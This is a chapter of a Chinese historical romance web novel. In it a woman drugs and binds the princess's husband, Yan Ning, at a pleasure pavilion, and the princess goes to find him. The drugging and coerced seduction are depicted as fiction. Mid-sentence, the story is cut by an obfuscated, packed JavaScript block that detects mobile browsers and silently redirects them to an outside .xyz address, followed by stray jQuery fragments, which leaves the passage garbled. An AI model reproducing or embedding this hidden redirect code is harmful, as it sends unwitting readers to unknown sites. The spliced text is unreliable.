李蕴如不知怎么的,今日忽然心绪难宁,眼皮子一直在跳,从宣帝殿中侍完药出来,她问舒云:“近日驸马爷可有什么消息?”
不等她回答,又兀自道:“瞧我,真是糊涂了,你同我一样在这宫中,又接连养伤几日,怎么会清楚。”
她碎碎念着,失魂落魄往前走,舒云跟上,见她如此,道:“公主不如出宫去找找驸马爷?有什么话,还是说开了好。”
“再想想吧,再想想。”
李蕴如拒绝。
她并非不清楚贞元皇后跟舒云说得有理,只是她骄傲惯了,从未低声下气与谁说过话,见到燕宁,怕又藏不住本性,到时候旧事重提,翻着那些旧账,就不知道又会说出些什么难听的话来,将事情弄得更加糟糕了。
真是可恶!
这个燕三郎,还说她住宫中几日,他会过来呢,结果出了门就把说过的话都全抛之脑后了,纵使有事不能来,也不派个人过来禀一声!
……
揽春阁,雅间内。
女郎将人扶上床榻,浓重的女儿香浸着残酒的味道,叫燕宁直觉一阵口干舌燥,本来便难受的身子更加了。
他扯了扯衣襟,用勉强残存的清明意识道:“下去罢,不用在这儿伺候了。”
女郎没走,坐在床边,抬手卸了自己的钗环,又将衣服解开,低着头,面上含羞带怯,用软软娇娇的说道:“郎君,奴婢是自愿的。”
她脱得只余一件素白的中衣,女郎姣好的身材尽显,看得人心里一阵火热。
燕宁莫名觉的燥热更加厉害了,但还是强撑着理智,移开目光,侧着身子用余光辨位,将她的衣服拉上去。
“你莫要这样!”
“女儿家的声誉何其重要,女郎当自重!”
女郎听这话吃吃笑出声,却是行为更加大胆了些,她抬手搭上燕宁的脖子,“都说小燕郎君至纯至洁,如今看来是半分无错,不过未免有点古板无趣了些,你这般,怕是不会太讨小姑娘喜欢的。”
这话自然是假的。
江左的“玉面郎君”声名在外,是多少高门贵女的春闺梦里人,若非齐宣帝以兵权为饵强逼,又如何轮得上那个小公主。
不过饶是做不成嫡妻,做个有名分的妾室,那也是好的。
再怎么样,都是比嫁给一个半截入土的老头冲喜做妾得好。
所以人不管任燕宁如何说,都没有松开,甚至在调戏几句后,开始动手去解他的衣服。
燕宁身体难受至极,直觉好像有什么地方轰然炸开一般,便是反应也跟着迟缓了许多,任着人将外衫解到手臂,这才清醒过来。
他猛然站起,一把推开人,跟她拉开距离,强撑着体面道:“出去。”
女郎没有丝毫准备,被这无一丝留情的重力推到在地,膝盖都被撞红了一大片,只是想到自己的命运,不甘认输的她又重整旗鼓,再一次起身攀附上去。
“郎君何必如此抗拒呢?”
她视线往下撇了一眼,勾着唇口笑语嫣然道:“你需要我,而我是自愿的。”
人再一次强调,又道:“或者,你将我当作公主也行?”
“公主?”
燕宁跟着喃喃念了一下,神思不禁恍惚起来,不知飞到了哪里去。
人趁着这时候,乘胜追击,哄着人再一次回到了床榻边,将他扑倒,柔着嗓子说:“对,将我当作公主也可以。”
她手顺着他的腰线,开始解人的玉带,压着嗓音蛊惑道:“郎君~”
衣带松开,燕宁身子骨得到了片刻的疏解,意识也在这时,短暂恢复一点清明。
他再一次甩开她的手。
“出去,我不想再说下一次!”
素来十分有教养的公子是很少对女郎说出这种重话的,可此时他已经在崩溃边缘,清醒和迷糊交替着,完全已不知自己在做什么,只凭着身体本能在拒绝。
“我喜欢干净的人!”
“你要管不住自己,我会杀了你!”
这些话语如同走马灯一般在他脑海中循环。
女郎也没想到他会这么难搞,有一瞬间想放弃,但她自己没有选择,只能继续。
硬的不行她便来软的。
人绢帕子一甩,眼圈立马通红,眼泪簌簌像断了线的珍珠一般滚落下来,她匍匐在燕宁的脚边,哀求道:“请郎君怜我。”
女郎哭道:“我乃王家的庶女王姝,家中要将我许给河东董氏的家主冲喜做妾室,如若没郎君,那我便真的没有活路了。”
“郎君放心,若是有幸得郎君青睐,我定会安分守己,不会与公主争宠为难,哪怕将来郎君再择高门嫡妻,亦不会与主母作对……”
燕宁这会儿大脑十分混沌,难辨现实与梦境,只模糊听人言与董氏做妾,不禁皱紧眉,谁不清楚那董氏年迈,今年已是七十有五,面前的女郎看上去不过堪堪二八年华,正是当好的年纪,且董氏凶残成性,不将房里女子当作人,好几个妾室,都被他折磨没了命……
却又是听她提及李蕴如,言择门当户对的高门嫡妻,那荡漾游神的心思忽像被浇了一盆冷水,凉下来,他不为所动,强忍着难受拂袖,让她走。
王姝道:“郎君当真如此无情吗?”
燕宁背对她,不言语,额上豆大的汗珠滚落下来,人双眼迷蒙,死咬着牙口不松,勉强才从喉中崩出一个字:“滚!”
可王姝今日做此决定,便是存了破釜沉舟的勇气,又如何轻易离开,见他软硬不吃,干脆不再婉约,直接强将人压制在了床上。
屋内早早燃了些催.情香,方才的酒中,她也放了点东西,只看他这般已是濒临界点,只要她稍加再努力些……生米做成熟饭,以燕三郎的品性,自不会放任不管……
药效正在一点点发作,燕宁四肢越来越酸软无力,王姝将他手脚捆绑住,抚着他清隽的面容,道:“郎君,你也别怪我,妾也是真的没办法,谁叫我生来便是庶女,她们都说命贱呢,可我不想就这么认了!”
……
午后,日头渐高,然李蕴如依旧没有燕宁任何消息,心中的不安感还在急剧攀升。
“啪!”她拍了桌子站起来,“出宫!”
人匆匆忙忙备了马车出来,直奔燕家在上京的别院,到了门口,管事告诉她:“郎君今儿个一大早就跟友人出去了,还未回来呢。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541611|170998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可有说去哪儿?”舒云问。
管事道:“不太清楚,只模糊听到提了一嘴揽春阁。”
李蕴如脸色阴沉下来。
谁不清楚那揽春阁是什么地方,跟群芳馆差不大,不过世家爱附庸风雅,不仅那楼宇修得亭台水榭的漂亮,里边儿的女郎小倌儿更是个个能通文墨典籍……
他们最爱的,便是以风雅之名,行龌龊之事!
“公主……”舒云清楚自家主子的性子,听了这话,连头都不敢抬,只小心翼翼的唤了一声,用眼角的余光去看她的反应。
李蕴如面无表情道:“去揽春阁!”
“是!”
主仆二人一路直往揽春阁走,到了门外就被拦住,她没管,直接一脚踢开拦她的龟公,燕宁身边的小厮陈敬生正好从外间回来,目睹了这一幕。
他急忙住人:“公主。”
“你家主子呢!”她没好气的问。
近身的小厮在这儿,可见主子……
陈敬生道:“在里间同王氏的郎君跟桓氏的郎君喝酒,他说想吃点上京的芙蓉糕,我就去买了。”
李蕴如眉头皱得能夹死一只苍蝇,这种事何须他亲自去,分明随便嘱咐一个揽春阁的小厮都可以,就是有鬼!
“等会儿本公主再来与你细细算账!”
她踢了那方才挡路的龟公一脚,阔步往前走。
虽然李家已是颓败定局,可到底目前还是齐宣帝尚掌皇权,又听了这话,人人自危,战战兢兢的,再无人敢犯这个忌讳拦她。
李蕴如一路顺通的来到后园。
跟随着陈敬生的指示找到厢房,不过如今房内只有桓大郎一人。
先前同吃畅饮的王五郎和燕宁都不见踪影。
桓大郎正与揽春阁的姑娘玩得不亦乐乎,却被人忽撞开门,什么心思都歇了下去,骂骂咧咧道:“谁啊,敢打扰大人的好事!”
“你说呢!”
李蕴如恶狠地瞪着他,问:“燕长君在哪儿!”
“我怎么知道!”
“还给我装蒜!”
李蕴如抬手就是抽过墙上的鞭子,直向人身下打过去,他这会儿倒是动作灵巧,及时闪躲开,大声道:“李氏,你疯了吗!”
还直呼她姓氏!
真是半点不将她放在眼里,李蕴如又是继续抽人,有抽中的有没中的,密集的鞭挞声在暖房里回响着,房里的女郎被吓到拿着衣服跑开,其他人也没敢靠近。
“泼妇,果然泼妇!”
他斥着人,却是也服了软,告知了她燕宁的所在处。
李蕴如没再耽搁,放了句狠话会事后找他们算账就离开。
她一路来到雅间小舍,还未入院,远远就见大门敞着,走近一些,可听到里边时不时传来轻微痛苦又似说不清道不明的声音。
压抑欢愉!
“公主。”舒云和陈敬生也听到了。
两人对视了一眼,最后是陈敬生把头一横,自告奋勇道:“要不公主先去歇着,奴才进去与郎君……”
“不用!”
“我既然来了,就不怕看!”
她加快了脚程,向那扇大门走过去……